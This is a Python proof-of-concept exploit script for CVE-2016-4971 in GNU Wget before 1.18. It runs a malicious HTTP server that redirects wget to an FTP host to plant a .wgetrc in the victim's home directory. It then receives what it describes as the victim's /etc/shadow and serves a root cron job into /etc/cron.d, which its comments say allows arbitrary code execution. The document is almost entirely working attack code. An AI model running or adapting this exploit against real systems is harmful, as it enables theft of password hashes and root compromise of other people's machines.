text: #!/usr/bin/env python
  
  #
  # Wget 1.18 < Arbitrary File Upload Exploit
  # Dawid Golunski
  # dawid( at )legalhackers.com
  #
  # http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
  #
  # CVE-2016-4971 
  #
  
  import http.server
  import socketserver
  import socket;
  
  class wgetExploit(http.server.SimpleHTTPRequestHandler):
     def do_GET(self):
         # This takes care of sending .wgetrc
  
         # unfortunately, this get request is not sent by wget 
         print("We have a volunteer requesting " + self.path + " by GET :)\n")
         # if "Wget" not in self.headers.getheader('User-Agent'):
         #    print("But it's not a Wget :( \n")
         #    self.send_response(200)
         #    self.end_headers()
         #    self.wfile.write("Nothing to see here...")
         #    return
  
         # get request from wget, redirect the new_path 
         print("Uploading .wgetrc via ftp redirect vuln. It should land in /root \n")
         self.send_response(301)
         new_path = '%s'%('ftp://anonymous@%s:%s/ipscan_3.5.5_amd64.deb'%(FTP_HOST, FTP_PORT) )
         print("Sending redirect to %s \n"%(new_path))
         self.send_header('Location', new_path)
         self.end_headers()
  
     def do_POST(self):
         # In here we will receive extracted file and install a PoC cronjob
  
         # unfortunately, this post request is not sent by wget 
         print("We have a volunteer requesting " + self.path + " by POST :)\n")
         if "Wget" not in self.headers.getheader('User-Agent'):
            print("But it's not a Wget :( \n")
            self.send_response(200)
            self.end_headers()
            self.wfile.write("Nothing to see here...")
            return
  
         # reading and printing /etc/shadow from the client
         content_len = int(self.headers.getheader('content-length', 0))
         post_body = self.rfile.read(content_len)
         print("Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body))
  
         # sending back a malicous cron job as return 
         print("Sending back a cronjob script as a thank-you for the file...") 
         print("It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)")
         self.send_response(200)
         self.send_header('Content-type', 'text/plain')
         self.end_headers()
         self.wfile.write(ROOT_CRON)
  
         print("\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n")
  
         return
  
  HTTP_LISTEN_IP = '192.168.33.3'
  HTTP_LISTEN_PORT = 80
  FTP_HOST = '192.168.33.3'
  FTP_PORT = 21
  
  # this cron job is run every 5 seconds 
  # this cron job can be literally any command, b/c it will be put in /etc/cron.d/ due to the .wgetrc file injected in home dir
  # and thus this wget exploit allows the attacker to execute arbitrary code on the client's machine 
  ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 5; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 10; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 15; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 20; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 25; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 30; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 35; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 40; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 45; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 50; root /usr/bin/id > /root/hacked-via-wget \n * * * * * sleep 55; root /usr/bin/id > /root/hacked-via-wget \n"
  
  # setting server handler 
  handler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
  
  print("Ready? Is your FTP server running?")
  
  # checks whether ftp server is running 
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  result = sock.connect_ex((FTP_HOST, FTP_PORT))
  if result == 0:
     print("FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT))
  else:
     print("FTP is down :( Exiting.")
     exit(1)
  
  print("Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT)
  
  handler.serve_forever()
  